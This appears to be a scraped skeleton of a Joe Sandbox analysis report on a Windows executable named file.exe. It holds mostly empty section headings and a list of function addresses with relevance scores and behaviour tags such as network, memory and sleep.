Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 001C9860 Relevance: 65.0, APIs: 33, Strings: 4, Instructions: 212
libraryloaderCOMMON

Function 001B45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 001B4880 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Function 001C9C10 Relevance: 238.7, APIs: 112, Strings: 24, Instructions: 684
libraryloaderCOMMON

Function 001B6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 001C5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 001C17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 001C7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 001C69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 001B1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 001C6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 001B47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 001C51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON